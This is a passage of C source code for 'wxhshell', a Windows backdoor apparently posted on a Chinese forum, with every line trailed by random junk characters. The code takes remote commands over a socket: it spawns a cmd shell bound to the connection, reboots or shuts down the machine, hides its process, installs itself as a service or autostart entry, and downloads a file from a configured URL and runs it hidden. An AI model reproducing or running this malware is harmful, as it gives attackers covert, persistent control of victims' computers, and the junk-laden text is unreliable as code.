  else { ?:8ido#-  
+*T7@1  
    switch(cmd[0]) { Dhw(#{N  
  UU mTOJr  
  // 帮助 $M lW4&a|  
  case '?': { Ax?y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O%(fx!c`  
    break; kabnVVn~  
  } uK$9Ll{lk  
  // 安装 mdmvT~`  
  case 'i': { !tMuuK?IL=  
    if(Install()) BJB^m|b)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2!X?"[ P  
    else P+PR<ZoI{f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xti[[sJ  
    break; O[s{ Gk'>  
    } s'a/j)^  
  // 卸载 Z X(z;|l45  
  case 'r': { Hl/ QnI!  
    if(Uninstall()) BuWHX>H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C8e !H  
    else 9S7 kUl{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5rRN-  
    break; h[1MtmNw  
    } X;B\Kj`n  
  // 显示 wxhshell 所在路径 ?hM>mL  
  case 'p': { 28H8l2{[>  
    char svExeFile[MAX_PATH]; (?`kYTw7g'  
    strcpy(svExeFile,"\n\r"); \h DdU+  
      strcat(svExeFile,ExeFile); dC $Em@Nb  
        send(wsh,svExeFile,strlen(svExeFile),0); d`nVc50  
    break; XZJ+h,f  
    } <2|O:G  
  // 重启 Q6AC(n@:FV  
  case 'b': { 8XzR wYV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L ugn 3+  
    if(Boot(REBOOT)) H!nr^l'+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `m>*d!h=  
    else { :x{NBvUIc  
    closesocket(wsh); S\5bmvqP"  
    ExitThread(0); B}?5]N==]  
    } C>$E%=h+_  
    break; ~ ! 3I2  
    } " '6;/N  
  // 关机 qg!|l7e  
  case 'd': { ~j5x+yC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m~Bl*`~M  
    if(Boot(SHUTDOWN)) }L3oR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Nl=wZ#`  
    else { f3{MvAy[  
    closesocket(wsh); :Jy'# c  
    ExitThread(0); C] 9 p5Hs  
    } *R3f{/DK  
    break; *@Y3oh}S  
    } 6s\Kt3=  
  // 获取shell .k9{Yv0  
  case 's': { RIE5KCrGB  
    CmdShell(wsh); :GW&O /Yo  
    closesocket(wsh); Ucm :S-  
    ExitThread(0); Nwt" \3  
    break; Bj}^\Pc;}  
  } 2eC(Ijq[a  
  // 退出 !V\Q<So<  
  case 'x': { T G{k0cdOT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t{FlB!jv  
    CloseIt(wsh); ;._7jFj.  
    break; 8&~~j7p,  
    } no] z1D  
  // 离开 wUQw!%?>  
  case 'q': { 0iK;Egwm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {h2TD P  
    closesocket(wsh); +$(2:S*r  
    WSACleanup(); K+8-9$w6  
    exit(1); Q7C;1aO  
    break; 4*mS y  
        } EG0auzW?  
  } \eb|eN0i  
  } &q~:~   
P*@2.#oO  
  // 提示信息 ~L_hZso4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EV^~eTz  
} -gas?^`  
  } .E&z$N  
YJ/zU52JK~  
  return; oY|,GvCnK  
} MR,R}B$  
I,VH=Yn5,  
// shell模块句柄 3a 1u  
int CmdShell(SOCKET sock) Cc<,z*T  
{ d,tU#N{Q6  
STARTUPINFO si; mBJeqG  
ZeroMemory(&si,sizeof(si)); TsUOpEuX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -zO2|@S,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'vq:D$A  
PROCESS_INFORMATION ProcessInfo; k`9)=&zX+  
char cmdline[]="cmd"; `S.ZS}~!F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )0e2ic/  
  return 0; d]i(h~?_  
} RQp|T5Er*  
!>`N$-U X  
// 自身启动模式 <ggtjw S  
int StartFromService(void) !!V#v9{  
{ #gaQaUjR  
typedef struct G0{H5_h  
{ npyAJp  
  DWORD ExitStatus; nG, U>)  
  DWORD PebBaseAddress; >Clh] ;K  
  DWORD AffinityMask; XfE -fH1j  
  DWORD BasePriority; `#QG6/0  
  ULONG UniqueProcessId;  6XJ[h  
  ULONG InheritedFromUniqueProcessId; c8M2 ^{O,`  
}   PROCESS_BASIC_INFORMATION; aJe^Tp(  
 ^eGNgE  
PROCNTQSIP NtQueryInformationProcess; CWG6;NT6m  
wHv]ViNvXE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #9 fWAF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |R@~-Ht  
~h=X8-D  
  HANDLE             hProcess; ',4x$qe  
  PROCESS_BASIC_INFORMATION pbi; ZBG}3Z   
G633Lm`ri  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;HBC Ue<_  
  if(NULL == hInst ) return 0; 7HJS.047  
{d%&zvJnD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9W>Y#V~|v!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -l-E_6|/W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G"59cv8z4R  
KkMay  
  if (!NtQueryInformationProcess) return 0; CBKkBuKuk  
(ihP `k-.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <{:  
  if(!hProcess) return 0; 8dOo Q  
Dbaf0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ow;R$5G  
*P!e:Tm)  
  CloseHandle(hProcess); 3!o4)yJWx  
-/dEsgO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C4#rA.nF|  
if(hProcess==NULL) return 0;  oM1 6C|  
(zYy }g#n  
HMODULE hMod; ia{c  
char procName[255]; vN OH&ja-s  
unsigned long cbNeeded; b*mKei  
>x@P|\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lE ;jCN  
XC3Kh^  
  CloseHandle(hProcess); '[(nmx'yVJ  
uw7{>9  
if(strstr(procName,"services")) return 1; // 以服务启动 -g/hAxb5  
x/MZ(A%D  
  return 0; // 注册表启动 pA#}-S%  
} (|fm6$  
O0*e)i8  
// 主模块 ZRUhAp'<qj  
int StartWxhshell(LPSTR lpCmdLine) a!c[!  
{ W~B5>;y  
  SOCKET wsl; 1fL<&G  
BOOL val=TRUE; tAFti+Qb  
  int port=0; &~f3psA  
  struct sockaddr_in door; FM5e+$>@  
 ql&*6KZ"  
  if(wscfg.ws_autoins) Install(); i_LF`JhEQT  
W:VP1 :  
port=atoi(lpCmdLine); mN5 8r"!J  
t.hm9}UQ  
if(port<=0) port=wscfg.ws_port; Vjm_F!S  
7C?.L70ZY  
  WSADATA data; 3%<C<(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MuEy>dl  
L1)@z8]   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tue/4Q#7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $H'X V"<o  
  door.sin_family = AF_INET; %YlTF\-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MY nH2w]  
  door.sin_port = htons(port); @gBE{)Fj  
"x&C5l}n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z&3]%t `C  
closesocket(wsl); 1(GHCxA8G  
return 1; A~{f/%8D  
} AzpV4(:an.  
$ 'QdFkOr  
  if(listen(wsl,2) == INVALID_SOCKET) { d2ENm%q*PX  
closesocket(wsl); [{<dbW\ 9  
return 1; 6a>H|"P NE  
} E)t  
  Wxhshell(wsl); 4R) |->"  
  WSACleanup(); <3O T>E[  
"!Rw)=7O  
return 0; PI?j_8  
^!;=6}YR  
} H.O(*Q=  
[H"#7t.V-~  
// 以NT服务方式启动 )Z@-DA*Q-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g>7Y~_}  
{ {lzG*4?  
DWORD   status = 0; [~k]{[NJ  
  DWORD   specificError = 0xfffffff; >n7["7HHk  
z]$j7dp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vh>{_ #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {rkn q_;0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  8R69q:  
  serviceStatus.dwWin32ExitCode     = 0; af+}S9To  
  serviceStatus.dwServiceSpecificExitCode = 0; ZAg;q#z j  
  serviceStatus.dwCheckPoint       = 0; 3On JWuVfZ  
  serviceStatus.dwWaitHint       = 0; q:HoKJv4  
Ew^ @Aq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WY)^1Gb$ux  
  if (hServiceStatusHandle==0) return; s"0b%0?A  
o;-<|W>  
status = GetLastError(); }Pg' vJW  
  if (status!=NO_ERROR) ]?9[l76O7  
{ %XXkVK`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Y,A[Y5jX  
    serviceStatus.dwCheckPoint       = 0; .Tm- g#  
    serviceStatus.dwWaitHint       = 0; [7"}=9  
    serviceStatus.dwWin32ExitCode     = status; Zy wK/D  
    serviceStatus.dwServiceSpecificExitCode = specificError; IB7tAG8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T }uE0Z,  
    return; <e6=% 9  
  } {=At#*=A  
G79C {|c\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; liNON  
  serviceStatus.dwCheckPoint       = 0; Q.(51]'  
  serviceStatus.dwWaitHint       = 0; u5gZxO1J5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + >sci  
} VvgN3e[  
2%]hYr;  
// 处理NT服务事件,比如:启动、停止 A"/aGCG0z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >7>7/7=O  
{ %9c|%#3  
switch(fdwControl) +X!+'>  
{ .9\Cy4_qSd  
case SERVICE_CONTROL_STOP: Jc~E"x  
  serviceStatus.dwWin32ExitCode = 0; J7a-CI_Tf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .{N\<01  
  serviceStatus.dwCheckPoint   = 0; *=^[VV!  
  serviceStatus.dwWaitHint     = 0; 6dT|;koWbm  
  { 2_olT_#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :2q ?>\  
  } p\ txlT  
  return; AZ8UXq  
case SERVICE_CONTROL_PAUSE: wd`R4CKhP]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %^^h) Wy}  
  break; rr>~WjZ3  
case SERVICE_CONTROL_CONTINUE: S.fXHtSx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ti;%BS  
  break; @bQ!zCI  
case SERVICE_CONTROL_INTERROGATE: k`IrZHMw  
  break; E2yz=7sv5  
}; G(i\'#5+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l Z~+u  
} t61'LCEis  
@c"yAy^t  
// 标准应用程序主函数 h2}am:%mC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Yp qq  
{ ]]V^:"ne  
anZIB  
// 获取操作系统版本 M]s[ "0O  
OsIsNt=GetOsVer(); ],V kp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9XN~Ln@}  
2<.Vv\ =  
  // 从命令行安装 2?*1~ 5~I  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` t\z   
pFH?/D/q  
  // 下载执行文件 I;iR(Hf)?q  
if(wscfg.ws_downexe) { lWl-@ *'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w})NmaT;YF  
  WinExec(wscfg.ws_filenam,SW_HIDE); `hF;$  
} JE%i-UVH+;  
l_sg)Vr/b  
if(!OsIsNt) { v=bv@c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZmO' IT=Ye  
HideProc(); Hrv),Ce  
StartWxhshell(lpCmdLine); wL|7mMM,  
} hd=j56P5P  
else = P8~n2V  
  if(StartFromService()) IgiqFV {  
  // 以服务方式启动 <\xQ7|e  
  StartServiceCtrlDispatcher(DispatchTable); @{de$ ODu  
else lvig>0:M  
  // 普通方式启动 h=wf>^l  
  StartWxhshell(lpCmdLine); r2)pAiTM*  
Oylp:_<aT  
return 0; R^?PAHE 7  
}
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只看该作者 1 发表于: 2006-10-10
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